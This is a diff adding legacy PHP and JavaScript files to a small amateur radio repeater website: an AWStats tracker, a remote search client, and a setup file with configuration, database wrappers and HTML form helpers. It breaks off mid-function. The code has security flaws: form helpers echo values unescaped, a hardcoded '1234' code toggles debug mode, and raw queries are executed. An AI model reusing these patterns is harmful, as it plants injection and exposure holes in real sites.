+ var TRKwin = ((TRKagt.indexOf("win")!=-1) || (TRKagt.indexOf("32bit")!=-1));
+ var TRKmac = (TRKagt.indexOf("mac")!=-1);
+
+ var TRKns = (TRKnav.indexOf("netscape") != -1);
+ var TRKopera= (TRKnav.indexOf("opera") != -1);
+ var TRKie = (TRKagt.indexOf("msie") != -1);
+
+ // Detect the browser internal width and height
+ var TRKwinsize;
+ if (document.documentElement && document.documentElement.clientWidth)
+ TRKwinsize = document.documentElement.clientWidth + 'x' + document.documentElement.clientHeight;
+ else if (document.body && document.body.clientWidth)
+ TRKwinsize = document.body.clientWidth + 'x' + document.body.clientHeight;
+ else
+ TRKwinsize = window.innerWidth + 'x' + window.innerHeight;
+
+ if (TRKie && TRKwin) {
+ TRKshk = awstats_detectIE("SWCtl.SWCtl.1");
+ TRKsvg = awstats_detectIE("Adobe.SVGCtl");
+ TRKfla = awstats_detectIE("ShockwaveFlash.ShockwaveFlash.1");
+ TRKrp = awstats_detectIE("rmocx.RealPlayer G2 Control.1");
+ TRKmov = awstats_detectIE("Quicktime.Quicktime");
+ TRKwma = awstats_detectIE("wmplayer.ocx");
+ TRKpdf = 'n'; TRKpdfver='';
+ if (awstats_detectIE("PDF.PdfCtrl.1") == 'y') { TRKpdf = 'y'; TRKpdfver='4'; } // Acrobat 4
+ if (awstats_detectIE('PDF.PdfCtrl.5') == 'y') { TRKpdf = 'y'; TRKpdfver='5'; } // Acrobat 5
+ if (awstats_detectIE('PDF.PdfCtrl.6') == 'y') { TRKpdf = 'y'; TRKpdfver='6'; } // Acrobat 6
+ if (awstats_detectIE('AcroPDF.PDF.1') == 'y') { TRKpdf = 'y'; TRKpdfver='7'; } // Acrobat 7
+ }
+ if (TRKns || !TRKwin) {
+ TRKnse = "";
+ for (var TRKi=0;TRKi<navigator.mimeTypes.length;TRKi++) TRKnse += navigator.mimeTypes[TRKi].type.toLowerCase();
+ TRKshk = awstats_detectNS("application/x-director","");
+ TRKsvg = awstats_detectNS("image/svg+xml","");
+ if (document.implementation.hasFeature("org.w3c.dom.svg", "")) {TRKsvg = "y"; }
+ TRKfla = awstats_detectNS("application/x-shockwave-flash"); // ou lire dans naviagtor.plugins si on trouve "Shockwave Flash" ou "Shockwav Flash 2.0"
+ TRKrp = awstats_detectNS("audio/x-pn-realaudio-plugin");
+ TRKmov = awstats_detectNS("video/quicktime");
+ TRKwma = awstats_detectNS("application/x-mplayer2");
+ TRKpdf = awstats_detectNS("application/pdf");
+ TRKpdfver='';
+ }
+
+ var imgsrc1 = awstatsmisctrackerurl+'?screen='+TRKscreen+'&win='+TRKwinsize+'&cdi='+TRKcdi+'&java='+TRKjava;
+ var imgsrc2 = '&shk='+TRKshk+'&svg='+TRKsvg+'&fla='+TRKfla+'&rp='+TRKrp+'&mov='+TRKmov+'&wma='+TRKwma+'&pdf='+TRKpdf+'&uid='+TRKuserid+'&sid='+TRKsessionid;
+ //alert(imgsrc1);
+ //alert(imgsrc2);
+ var imgsrc=imgsrc1+imgsrc2;
+ if( document.createElementNS ) {
+ var l=document.createElementNS("http://www.w3.org/1999/xhtml","img");
+ l.setAttribute("src", imgsrc );
+ l.setAttribute("height", "0");
+ l.setAttribute("width", "0");
+ l.setAttribute("border", "0");
+ document.getElementsByTagName("body")[0].appendChild(l);
+ } else {
+ document.write('<img style="display:none;" src="'+ imgsrc +'" height="0" width="0" border="0" />')
+ }
+
+}
--- /dev/null
+<?
+/**
+ * Remote Search Query
+ *
+ * Use this when the Web site is not on a server that
+ * includes the GLMSearch class or that can't run it.
+ *
+ * Include this if search request is being processed
+ * (if "GLMSearch" post parameter exists and is set
+ * to 'true').
+ */
+
+
+/*
+ * Setup Parameters - MUST CONFIGURE THESE PER Website
+ */
+
+// Site we're going to search - Must be setup as an Index in the GLM OpenSearchServer
+$glmsThisSite = 'www.n8dnx.org';
+
+// URL to the remote search support code on a server that supports GLMSearch class
+$glmsUrl = 'http://www6.gaslightmedia.com/GLMSearch/V1.1/remoteSearchSupport.php';
+
+// URL that should be used for links in the search results page
+//$glmsPageURL = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER["SCRIPT_NAME"];
+$glmsPageURL = 'http://www.n8dnx.org/index.phtml';
+
+// End of configureable parameters
+
+
+$glmsStart = ($_REQUEST['start'] - 0);
+$glmsRows = ($_REQUEST['rows'] - 0);
+
+$glmsRequest = array(
+ 'index' => 'Index_1',
+ 'website' => $glmsThisSite,
+ 'query' => $_REQUEST['query'],
+ 'returnUrl' => $glmsPageURL,
+ 'start' => $glmsStart,
+ 'rows' => $glmsRows,
+ 'matchAll' => $_REQUEST['matchAll']
+);
+
+// Create curl instance - and set to return response
+$glmsCurl = curl_init();
+curl_setopt($glmsCurl, CURLOPT_RETURNTRANSFER, TRUE);
+curl_setopt($glmsCurl, CURLOPT_URL, $glmsUrl);
+curl_setopt($glmsCurl, CURLOPT_POST, true);
+curl_setopt($glmsCurl, CURLOPT_POSTFIELDS, $glmsRequest);
+
+ $glmsResults = curl_exec($glmsCurl);
+?>
--- /dev/null
+<?php
+ini_set('include_path', '/usr/share/pear' . ':' .ini_get('include_path'));
+/** @header Gaslight Media Toolbox�
+ Media Toolbox(R)
+ Setup.phtml file includes the functions that were in the functions.inc
+ and siteinfo.inc file into one file.
+ All set up stuff is on the top of the page.
+
+ $Id: setup.phtml,v 1.2 2010/08/22 14:36:27 cscott Exp $
+ */
+
+if( !isset($SITEINFO) )
+ {
+
+ if(!isset($DEBUG))
+ {
+ $DEBUG = (isset($mysecretcode) && $mysecretcode == 1234);
+ }
+ // setup for pages
+ $PAGES['default'] = 'index';
+ $PAGES[1] = 'index';
+ /* DEBUG ON BY DEFAULT SO YOU KNOW WHAT THE SETUPS ARE */
+// $DEBUG = TRUE;
+
+ /*
+ *
+ * Customer Setup
+ * Database setup
+ * Email Setup
+ *
+ */
+ define("SITENAME","N8DNX and the Stutsmanville Repeater Complex"); // used for outputing name of site in admin area
+ define("SITE_NAME",SITENAME); // same as SITENAME
+ define("DB_TYPE", "postgres"); // DB library only knows postgres (FUTURE EXPANSION)
+ define("DB_ERROR_MSG", "an error has occured with the database!"); // default error message
+ define("MULTIPLE_CAT",0); // weather or not to use many to many relations
+ define("CAT_LOCK",0); // If set to 1 or true will lock the categories
+ define("ENTRIES_PER_PAGE",10); // default per page number
+ define("HTML_HELP_CODE",1); // this is being depreciated for general help guides
+ define("PRODUCTION_MODE","OFF"); // used in the email out for contact DB
+ define("HTML_EMAIL","OFF"); // turn ON for html emails
+ define("ACTIVE_FLAG",1); // turn on if bus_category table has active bool field
+ define("DELUXE_TOOLBOX",1); // used for the toolbox deluxe vrs.
+ define("SEO_URL",1); // weather to use Search Engine Optimisezd url's requires .htaccess enabled
+ /*
+ *
+ * DO NOT EDIT THIS SECTION
+ *
+ */
+
+ // Find where this file is located
+
+ $BASE_PATH = dirname( __FILE__ );
+
+ $CALLED_FROM_DIR = substr( dirname($HTTP_SERVER_VARS["PATH_TRANSLATED"]), strlen($BASE_PATH) );
+
+ if( ($x = strlen($CALLED_FROM_DIR)) > 0 )
+ $base_url = $HTTP_HOST.substr( dirname($SCRIPT_NAME), 0, -strlen($CALLED_FROM_DIR) );
+ else
+ {
+ $script_name_dir = dirname($SCRIPT_NAME);
+ if( $script_name_dir == "/" )
+ $script_name_dir = "";
+ $base_url = $HTTP_HOST.$script_name_dir;
+ }
+
+ $BASE_URL = "HTTP://".$base_url;
+ $BASE_SECURE_URL = "HTTPS://".$base_url;
+
+ // Indicate that this file has been referenced
+
+ $SITEINFO = TRUE;
+
+
+ /*
+ *
+ * Dynamic Configuration - Parameters that DO change based on location
+ *
+ */
+
+ switch( $GLM_SERVER_ID )
+ {
+
+ case "devsys.gaslightmedia.com":
+ error_reporting(E_ERROR);
+ ini_set("display_errors","1");
+ // Use the $BASE_URL for secure URL on Devsys
+ $BASE_SECURE_URL = $BASE_URL;
+ define("CONN_STR","host=devsys dbname=n8dnx");
+ define("OWNER_EMAIL", "cscott@gaslightmedia.com"); // site owner's email address
+ define("REPLY_TO", "info@n8dnx.org"); // the reply-to field for email's
+ break;
+
+ case "ws1.gaslightmedia.com":
+ error_reporting(0);
+ ini_set("display_errors","0");
+ $BASE_SECURE_URL = "HTTPS://".$base_url;
+ define("CONN_STR","host=ds4 dbname=n8dnx");
+ define("OWNER_EMAIL", "cscott@gaslightmedia.com"); // site owner's email address
+ define("REPLY_TO", "info@n8dnx.org"); // the reply-to field for email's
+ break;
+
+ default: // There should be no need for any settings here
+ break;
+
+ }
+ define("BASE_URL", $BASE_URL."/"); // url used for the root of site
+ define("URL_BASE", $BASE_URL."/"); // same as BASE_URL
+ define("BASE_PATH", $BASE_PATH."/"); // root directory path of site
+ define("BASE", $BASE_PATH."/"); // same as BASE_PATH
+ define("HELP_BASE", "help/"); // help guide base (depreciated)
+ define("UP_BASE", BASE."uploads/"); // uploads directory path
+ define("IMG_BASE", URL_BASE."images/"); // the images url path
+ define("POSTCARD_URL",URL."postcard.phtml"); // postcard url (used for postcard app)
+ define("LOGO_IMG",URL_BASE."images/logoicon.gif"); // used in admin area as the path to image logo
+ define("HELP_IMG",URL_BASE."images/help.gif"); // help image url (depriated)
+ define("ORIGINAL_PATH", BASE."images/original/"); // path of original images
+ define("RESIZED_PATH", BASE."images/resized/"); // path of first resized image
+ define("MIDSIZED_PATH", BASE."images/midsized/"); // path of half sized of resized
+ define("THUMB_PATH", BASE."images/thumb/"); // path of thumbnail directory
+ if( $_SERVER['HTTPS'] == "on" )
+ {
+ define("ORIGINAL", $BASE_SECURE_URL."/images/original/"); // url of original images
+ define("RESIZED", $BASE_SECURE_URL."/images/resized/"); // url of resized
+ define("MIDSIZED", $BASE_SECURE_URL."/images/midsized/"); // url of midsized
+ define("THUMB", $BASE_SECURE_URL."/images/thumb/"); // url of thumbnail
+ }
+ else
+ {
+ define("ORIGINAL", URL_BASE."images/original/"); // url of original images
+ define("RESIZED", URL_BASE."images/resized/"); // url of resized
+ define("MIDSIZED", URL_BASE."images/midsized/"); // url of midsized
+ define("THUMB", URL_BASE."images/thumb/"); // url of thumbnail
+ }
+
+ /** these are the image sizing defines USE THESE ONLY
+ only allowed string of 'WxH[<>]' [-quality Percentage]
+ */
+ define("ITEM_RESIZED", "'287>' -quality 60"); // used in convert call to resize images
+ define("ITEM_MIDSIZED", "'220>' -quality 60");
+ define("ITEM_THUMB","'140>' -quality 50");
+
+ define("FOOTER_IMG", URL_BASE."images/logosmall.gif");
+ define("FOOTER_URL", URL_BASE);
+ define("STYLE","main.css");
+
+ require_once('classes/class_db.inc');
+ require_once('classes/class_template.inc');
+ $DB =& new GLM_DB();
+
+
+ // [status_US] array of states and their abbr.
+ $states_US[""] = "";
+ $states_US["AL"]= "Alabama";
+ $states_US["AK"]= "Alaska";
+ $states_US["AZ"]= "Arizona";
+ $states_US["AR"]= "Arkansas";
+ $states_US["CA"]= "California";
+ $states_US["CO"]= "Colorado";
+ $states_US["CT"]= "Connecticut";
+ $states_US["DE"]= "Delaware";
+ $states_US["DC"]= "District of Columbia";
+ $states_US["FL"]= "Florida";
+ $states_US["GA"]= "Georgia";
+ $states_US["HI"]= "Hawaii";
+ $states_US["ID"]= "Idaho";
+ $states_US["IL"]= "Illinois";
+ $states_US["IN"]= "Indiana";
+ $states_US["IA"]= "Iowa";
+ $states_US["KS"]= "Kansas";
+ $states_US["KY"]= "Kentucky";
+ $states_US["LA"]= "Louisiana";
+ $states_US["ME"]= "Maine";
+ $states_US["MD"]= "Maryland";
+ $states_US["MA"]= "Massachusetts";
+ $states_US["MI"]= "Michigan";
+ $states_US["MN"]= "Minnesota";
+ $states_US["MS"]= "Mississppi";
+ $states_US["MO"]= "Missouri";
+ $states_US["MT"]= "Montana";
+ $states_US["NE"]= "Nebraska";
+ $states_US["NV"]= "Nevada";
+ $states_US["NH"]= "New Hampshire";
+ $states_US["NJ"]= "New Jersey";
+ $states_US["NM"]= "New Mexico";
+ $states_US["NY"]= "New York";
+ $states_US["NC"]= "North Carolina";
+ $states_US["ND"]= "North Dakota";
+ $states_US["OH"]= "Ohio";
+ $states_US["OK"]= "Oklahoma";
+ $states_US["OR"]= "Oregon";
+ $states_US["PA"]= "Pennsylvania";
+ $states_US["RI"]= "Rhode Island";
+ $states_US["SC"]= "South Carolina";
+ $states_US["SD"]= "South Dakota";
+ $states_US["TN"]= "Tennessee";
+ $states_US["TX"]= "Texas";
+ $states_US["UT"]= "Utah";
+ $states_US["VT"]= "Vermont";
+ $states_US["VA"]= "Virginia";
+ $states_US["WA"]= "Washington";
+ $states_US["WV"]= "West Virginia";
+ $states_US["WI"]= "Wisconsin";
+ $states_US["WY"]= "Wyoming";
+
+ // [states] extended states array
+ $states["AL"] = "Alabama";
+ $states["AK"] = "Alaska";
+ $states["AB"] = "Alberta";
+ $states["AS"] = "American Samoa";
+ $states["AZ"] = "Arizona";
+ $states["AR"] = "Arkansas";
+ $states["BC"] = "British Columbia";
+ $states["CA"] = "California";
+ $states["CO"] = "Colorado";
+ $states["CT"] = "Connecticut";
+ $states["DE"] = "Delaware";
+ $states["DC"] = "District of Columbia";
+ $states["FM"] = "Federated States of Micronesia";
+ $states["FL"] = "Florida";
+ $states["GA"] = "Georgia";
+ $states["GU"] = "Guam";
+ $states["HI"] = "Hawaii";
+ $states["ID"] = "Idaho";
+ $states["IL"] = "Illinois";
+ $states["IN"] = "Indiana";
+ $states["IA"] = "Iowa";
+ $states["KS"] = "Kansas";
+ $states["KY"] = "Kentucky";
+ $states["LA"] = "Louisiana";
+ $states["ME"] = "Maine";
+ $states["MB"] = "Manitoba";
+ $states["MH"] = "Marshall Islands";
+ $states["MD"] = "Maryland";
+ $states["MA"] = "Massachusetts";
+ $states["MI"] = "Michigan";
+ $states["MN"] = "Minnesota";
+ $states["MS"] = "Mississppi";
+ $states["MO"] = "Missouri";
+ $states["MT"] = "Montana";
+ $states["NE"] = "Nebraska";
+ $states["NV"] = "Nevada";
+ $states["NB"] = "New Brunswick";
+ $states["NF"] = "Newfoundland";
+ $states["NH"] = "New Hampshire";
+ $states["NJ"] = "New Jersey";
+ $states["NM"] = "New Mexico";
+ $states["NY"] = "New York";
+ $states["NC"] = "North Carolina";
+ $states["ND"] = "North Dakota";
+ $states["MP"] = "Northern Mariana Islands";
+ $states["NT"] = "Northwest Territories";
+ $states["NS"] = "Nova Scotia";
+ $states["OH"] = "Ohio";
+ $states["OK"] = "Oklahoma";
+ $states["ON"] = "Ontario";
+ $states["OR"] = "Oregon";
+ $states["PW"] = "Palau";
+ $states["PA"] = "Pennsylvania";
+ $states["PE"] = "Prince Edward Island";
+ $states["PR"] = "Puerto Rico";
+ $states["QC"] = "Quebec";
+ $states["RI"] = "Rhode Island";
+ $states["SK"] = "Saskatchewan";
+ $states["SC"] = "South Carolina";
+ $states["SD"] = "South Dakota";
+ $states["TN"] = "Tennessee";
+ $states["TX"] = "Texas";
+ $states["UT"] = "Utah";
+ $states["VT"] = "Vermont";
+ $states["VI"] = "Virgin Islands";
+ $states["VA"] = "Virginia";
+ $states["WA"] = "Washington";
+ $states["WV"] = "West Virginia";
+ $states["WI"] = "Wisconsin";
+ $states["WY"] = "Wyoming";
+ $states["YT"] = "Yukon";
+ $states["Asia"] = "Asia";
+ $states["Australia"] = "Australia";
+ $states["Bahamas"] = "Bahamas";
+ $states["Caribbean"] = "Caribbean";
+ $states["Costa Rica"] = "Costa Rica";
+ $states["South America"] = "South America";
+ $states["South Africa"] = "South Africa";
+ $states["Europe"] = "Europe";
+ $states["Mexico"] = "Mexico";
+ /* Libraries */
+ /* Replaced with the actual functions instead of includes (2001-12-14) */
+
+
+
+ /**
+ * CreditVal : CreditVal Checks for a valid credit card number doing Luhn check, if no
+ card type is given, attempts to guess. Then, if a list of
+ accepted types is given, determines whether or not we'll
+ accept it
+ * @param $Num: Credit Card Number
+ * @param $Name = '': Type of Card
+ * @param $Accepted='' : Accepted array
+ *
+ * @return bool
+ * @access
+ **/
+ function CreditVal($Num, $Name = '', $Accepted='')
+ {
+ $Name = strtolower( $Name );
+ $Accepted = strtolower( $Accepted );
+ $GoodCard = 1;
+ $Num = ereg_replace("[^[:digit:]]", "", $Num);
+ switch ($Name)
+ {
+
+ case "mastercard" :
+ $GoodCard = ereg("^5[1-5].{14}$", $Num);
+ break;
+
+ case "visa" :
+ $GoodCard = ereg("^4.{15}$|^4.{12}$", $Num);
+ break;
+
+ case "americanexpress" :
+ $GoodCard = ereg("^3[47].{13}$", $Num);
+ break;
+
+ case "discover" :
+ $GoodCard = ereg("^6011.{12}$", $Num);
+ break;
+
+ case "dinerscard" :
+ $GoodCard = ereg("^30[0-5].{11}$|^3[68].{12}$", $Num);
+ break;
+
+ default:
+ if( ereg("^5[1-5].{14}$", $Num) ) $Name = "mastercard";
+ if( ereg("^4.{15}$|^4.{12}$", $Num) ) $Name = "visa";
+ if( ereg("^3[47].{13}$", $Num) ) $Name = "americanexpress";
+ if( ereg("^6011.{12}$", $Num) ) $Name = "discover";
+ if( ereg("^30[0-5].{11}$|^3[68].{12}$", $Num) ) $Name="dinerscard";
+ break;
+ }
+
+ // If there's a limit on card types we accept, check for it here.
+ if( $Accepted )
+ {
+ $type_verified = FALSE;
+ $brands = explode_trim( ",", $Accepted );
+ foreach( $brands as $brand )
+ if( $Name == $brand )
+ $type_verified = TRUE;
+
+ if( !$type_verified ) return(FALSE);
+ }
+
+ $Num = strrev($Num);
+
+ $Total = 0;
+
+ for ($x=0; $x<strlen($Num); $x++)
+ {
+ $digit = substr($Num,$x,1);
+ if ($x/2 != floor($x/2))
+ {
+ $digit *= 2;
+ if (strlen($digit) == 2)
+ $digit = substr($digit,0,1) + substr($digit,1,1);
+ }
+ $Total += $digit;
+ }
+ if ($GoodCard && $Total % 10 == 0)
+ {
+ return(true);
+ }
+ else
+ {
+ return(false);
+ }
+ }
+ /* DataBase Library */
+
+ /**
+ * db_connect :Creates a connection to database specified $conn_str
+ * @param $conn="" : connection string
+ *
+ * @return index or bool
+ * @access
+ **/
+ function db_connect($conn="")
+ {
+
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ if($conn == "")
+ $conn = CONN_STR;
+ $ret = pg_connect($conn);
+ break;
+ default:
+ return(0);
+ }
+
+ return($ret);
+ }
+
+ /**
+ * db_close :Closes the connection to database specified by the handle dbd
+ * @param $$dbd : database handle
+ *
+ * @return bool
+ * @access
+ **/
+ function db_close($dbd)
+ {
+
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ $ret = pg_close($dbd);
+ break;
+ default:
+ return(0);
+ }
+
+ return($ret);
+ }
+
+ /**
+ NOTICE DON'T USE THIS
+ * db_pconnect :Creates a persistant connection to database specified in $conn_str
+ * @param $$conn="" : connection string
+ *
+ * @return
+ * @access
+ **/
+ function db_pconnect($conn="")
+ {
+ return( false );
+
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ if($conn == "")
+ $conn == CONN_STR;
+ $ret = pg_pconnect($conn);
+ break;
+ default:
+ return(0);
+ }
+
+ return($ret);
+ }
+
+ /**
+ * db_exec : Execute an SQL query
+ * @param $dbd: database handle
+ * @param $$qs : Query
+ *
+ * @return int Returns a valid result index on success 0 on failure
+ * @access
+ **/
+ function db_exec($dbd, $qs)
+ {
+
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ $ret = pg_exec($dbd, $qs);
+ break;
+
+ default:
+ return(0);
+ }
+
+ return($ret);
+ }
+
+ /**
+ * db_fetch_array :Stores the data in associative indices, using the field names as
+ * keys.
+ * @param $res: valid database result index
+ * @param $i: row number
+ * @param $$type : database type
+ *
+ * @return array Returns an associative array of key-value pairs
+ * @access
+ **/
+ function db_fetch_array($res, $i, $type)
+ {
+
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ $row = pg_fetch_array($res, $i, $type);
+ break;
+
+ default:
+ return(0);
+ }
+
+ return($row);
+ }
+
+ /**
+ * db_freeresult :Free result memory.
+ * @param $$res : valid database result index
+ *
+ * @return bool - Returns 1 for success 0 for failure
+ * @access
+ **/
+ function db_freeresult($res)
+ {
+
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ $ret = pg_freeresult($res);
+ break;
+
+ default:
+ return(0);
+ }
+
+ return($ret);
+ }
+
+ /**
+ * db_numrows :Determine number of rows in a result index
+ * @param $$res : valid database result index
+ *
+ * @return int - Returns number of rows
+ * @access
+ **/
+ function db_numrows($res)
+ {
+
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ $ret = pg_numrows($res);
+ break;
+
+ default:
+ return(-1);
+ }
+
+ return($ret);
+ }
+
+ /************************************************************************
+ * *
+ * BEGIN Auto functions *
+ * *
+ ***********************************************************************/
+
+ /**
+ * db_auto_array :The auto function for retrieving an array based soley on a query
+ * string. This function makes the connection, does the exec, fetches
+ * the array, closes the connection, frees memory used by the result,
+ * and then returns the array
+ * @param $qs: SQL query string
+ * @param $i: row number
+ * @param $$type : PGSQL_ASSOC or PGSQL_BOTH or PSQL_NUM
+ *
+ * @return array - Returns an associative array of key-value pairs
+ * @access
+ **/
+ function db_auto_array($qs, $i, $type)
+ {
+
+ $dbd = db_connect();
+ if(!$dbd)
+ {
+ return(0);
+ }
+ $res = db_exec($dbd, $qs);
+ if(!$res)
+ {
+ return(0);
+ }
+
+ $row = db_fetch_array($res, $i, $type);
+
+ if(!db_freeresult($res))
+ {
+ return(0);
+ }
+
+ db_close($dbd);
+ return($row);
+ }
+
+ /**
+ * db_auto_exec :The auto function for executing a query.
+ * This function makes the connection, does the exec, fetches
+ * the array, closes the connection, frees memory used by the result,
+ * and then returns success (not a valid result index)
+ * @param $qs: SQL query string
+ * @param $$conn="" : Connect String
+ *
+ * @return int - Returns 1 (or oid, if available) for success 0 for failure
+ * @access
+ **/
+ function db_auto_exec($qs, $conn="")
+ {
+
+ if($conn == "")
+ $conn = CONN_STR;
+ $dbd = db_connect($conn);
+ if(!$dbd)
+ return(0);
+ if(!db_exec($dbd, $qs))
+ {
+ db_close($dbd);
+ return(0);
+ }
+ else
+ {
+ db_close($dbd);
+ return(1);
+ }
+ }
+
+ /**
+ * db_auto_get_data :The auto function for retrieving an array based soley on a query
+ string. This function makes the connection, does the exec, fetches
+ the array, closes the connection, frees memory used by the result,
+ and then returns the array
+ * @param $qs: SQL query string
+ * @param $CONN_STR: Connect String
+ * @param $$fail_mode=0 : Failure Mode
+ *
+ * @return array Returns an associative array of key-value pairs
+ * @access
+ **/
+ function db_auto_get_data($qs,$conn = CONN_STR,$fail_mode=0)
+ {
+
+ if( !($dbd = db_connect($conn)) )
+ {
+ return( FALSE );
+ }
+
+ if( !($res = db_exec($dbd, $qs)) )
+ {
+ return( FALSE );
+ }
+
+ $totalrows = pg_NumRows($res);
+
+ for( $i = 0 ; $i < $totalrows ; $i++ )
+ {
+ $data[$i] = db_fetch_array($res, $i, PGSQL_ASSOC );
+ }
+
+ db_close( $dbd );
+ if(isset($data) && $data!="")
+ {
+ return( $data );
+ }
+ else
+ {
+ return(0);
+ }
+ }
+
+ /* HTML Libraries */
+
+ /**
+ * html_footer :Generates a footer table on the bottom of the page it's called on.
+ and closes out the body and html tags.
+ *
+ * @return void
+ * @access
+ **/
+ function html_footer()
+ {
+ $footer_table_width = "400";
+ $footer_table_align = "center";
+
+ ?>
+ <hr>
+ <table width="<?echo $footer_table_width?>" align="<?echo $footer_table_align?>" summary="Footer Information" class="footertable" cellspacing="0">
+ <tr>
+ <td align="left" class="footertd">
+ <a href="mailto:<?echo MASTER_EMAIL?>"><?echo MASTER?></a>
+ </td>
+ <td align="right" class="footertd">
+ <a href="<?echo FOOTER_URL?>" target="new">
+ <img src="<?echo FOOTER_IMG?>" border=0 alt="FOOTER_IMG"></a>
+ </td>
+ </tr>
+ </table>
+ </body>
+ </html>
+ <?
+ exit(); /* we've got to terminate any more output */
+ }
+
+ /**
+ * html_error :Generates a footer table on the bottom of the page it's called on.
+ and closes out the body and html tags.
+ * @param $msg: string error message to be displayed
+ * @param $$bail : bool whether or not to exit() after $msg
+ *
+ * @return void
+ * @access
+ **/
+ function html_error($msg, $bail)
+ {
+ ?>
+ <table summary="Error Information" class="errortable" cellspacing="0">
+ <tr class="errortr">
+ <td class="errortd">
+ <div class="errormsg"><?echo "<pre>$msg</pre>"?></div>
+ </td>
+ </tr>
+ </table>
+
+ <?
+ if($bail)
+ {
+ html_footer();
+ }
+ }
+
+ /**
+ * html_nav_table :Generates a navigation table on the page it's called on.
+ * @param $nav: associative array with entries like:$nav[text][url]
+ * @param $$w : max width of table
+ *
+ * @return void
+ * @access
+ **/
+ function html_nav_table($nav, $w)
+ {
+ $nav_table_table_width = "400";
+ $nav_table_table_align = "center";
+ ?>
+ <table width="100%" align="center" summary="Navigation Information" class="navtable" cellspacing="0" border="0">
+ <tr class="navtr">
+ <?
+ $i = 0;
+ $width = 100 / $w;
+
+ while(list($text, $url) = each($nav))
+ {
+ $i++;
+ if(($i == (count($nav))) && (($w % $i) != 1))
+ {
+ $cs = ($w - ((count($nav)-1) % $w));
+ }
+ else
+ {
+ $cs = 1;
+ }
+ ?>
+ <td width="<?echo $width."%"?>"class="navtd" colspan="<?echo $cs?>" align="center">
+ <?
+ if(is_array($url))
+ echo "<a href=\"$url[0]\" $url[1] title=\"$text\">";
+ else
+ echo "<a href=\"$url\" title=\"$text\">";
+ ?>
+ <div class="navtext"><?echo $text?></a></div>
+ </td>
+ <?
+ if(!($i % $w))
+ print"</tr>\n\t<tr class=\"navtr\">\n";
+ if($i == count($nav))
+ {
+ print"</tr>\n";
+ }
+ }
+ ?>
+ </table>
+ <?
+ }
+
+ /**
+ * html_header :Opens up the html tags, and includes the style sheet link
+ generates a header table on the top of the page it's called on.
+ * @param $title: Page Title
+ * @param $msg: message to display
+ * @param $$img : image to display
+ *
+ * @return void
+ * @access
+ **/
+ function html_header($title, $msg, $img)
+ {
+ $header_table_width = "400";
+ $header_table_align = "center";
+
+ ?>
+ <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
+ "http://www.w3.org/TR/html4/loose.dtd">
+ <html>
+ <head>
+ <title><?echo $title?></title>
+ <link type="text/css" rel=stylesheet href="<?echo STYLE?>">
+ </head>
+ <body>
+ <table width="<?echo $header_table_width?>" align="<?echo $header_table_align?>" summary="Header Information" class="headertable" cellspacing="0" cellpadding="3">
+ <tr class="headertr">
+ <td class="headertd">
+ <?
+ if($img)
+ {
+ ?>
+ <img src="<?echo IMG_BASE.$img?>" alt="<?echo HEAD?>" border="0">
+ <?
+ }
+ ?>
+ </td>
+ </tr>
+ <tr>
+ <td class="headertd2" align="center">
+ <div class="headerh2" align="center"><?echo "$msg"?></div>
+ </td>
+ </tr>
+ </table>
+ <?
+ }
+
+ /**
+ * form_header :Opens up the form tag, and includes the hidden assoc array as hidden
+ fields.
+ * @param $action: string form action string
+ * @param $method: string Method of form
+ * @param $$hidden = "" : assoc array with $hidden($name => $value)
+ *
+ * @return void
+ * @access
+ **/
+ function form_header($action, $method, $hidden = "")
+ {
+ echo "<form action=\"$action\" method=\"$method\"
+ enctype=\"multipart/form-data\">";
+ if($hidden != "" && is_array($hidden))
+ {
+ foreach($hidden as $key=>$value)
+ {
+ echo "<input type=\"hidden\" name=\"$key\" value=\"$value\">";
+ }
+ }
+ }
+
+ /**
+ * text_area :Creates textarea with good default values for rows cols and wrap.
+ * @param $name: string form action string
+ * @param $value: string Method of form
+ * @param $$rows = 15: int4 number of rows in textarea box
+ * @param $$cols = 50: int4 number of cols in textarea box
+ * @param $$wrap = "virtual" : string the wrap value for the textarea box
+ *
+ * @return void
+ * @access
+ **/
+ function text_area($name, $value, $rows = 15, $cols = 50, $wrap = "virtual" )
+ {
+ echo "<td class=\"navtd2\"><textarea id=\"$name\" name=\"$name\" cols=\"$cols\"
+ rows=\"$rows\" wrap=\"$wrap\" maxlength=\"8104\">$value</textarea></td>";
+ }
+
+ /**
+ * text_box :Creates a input box for text with 35 as default size
+ * @param $name: string name of text box
+ * @param $value: string value of text box
+ * @param $$size = 35 : string size of text box
+ *
+ * @return void
+ * @access
+ **/
+ function text_box($name, $value, $size = 35)
+ {
+ echo "<td class=\"navtd2\"><input type=\"text\" name=\"$name\"
+ value=\"$value\" size=\"$size\"></td>";
+ }
+
+ /**
+ * form_footer :Closes up the form tag, and includes the submit button
+ * @param $name: string form action string
+ * @param $$suppress = 0: string Method of form
+ * @param $$cs : int colspan for td
+ *
+ * @return void
+ * @access
+ **/
+ function form_footer($name, $suppress = 0, $cs)
+ {
+ echo "<tr><td colspan=\"$cs\" align=center>
+ <input type=\"SUBMIT\" name=\"Command\" value=\"$name\">";
+ if($suppress == 1)
+ {
+ echo "<input type=\"SUBMIT\" name=\"Command\" value=\"Delete\">";
+ }
+ /* echo "<input type=\"SUBMIT\" name=\"Command\" value=\"Cancel\">";*/
+ echo "</td>";
+ }
+
+ /* Graphics Libraries */
+
+ /**
+ * process_image :Main function for image processing
+ * NOTES:
+ * This function does the following:
+ *
+ * 1) places image into original folder
+ *
+ * 2) makes three images from original size and places them
+ * into the RESIZED, MIDSIZED, and THUMB folders
+ * @param $image: The variable of the image being post from the form
+ * @param $$image_name : The variable_name of the image being post
+ *
+ * @return string - Returns $image_name
+ * @access
+ **/
+ function process_image ($image,$image_name)
+ {
+ /* LOOK for these as defined in the top of this page
+ $ITEM_ORIGINAL = "'600>' -quality 60";
+ $ITEM_RESIZED = "'287>' -quality 60";
+ $ITEM_MIDSIZED = "'210>' -quality 60";
+ $ITEM_THUMB = "'120>' -quality 50";
+ */
+ if(!defined("ORIGINAL_PATH"))
+ {
+ html_error("this not defined original_path",1);
+ }
+ if(!defined("RESIZED_PATH"))
+ {
+ html_error("this not defined resized_path",1);
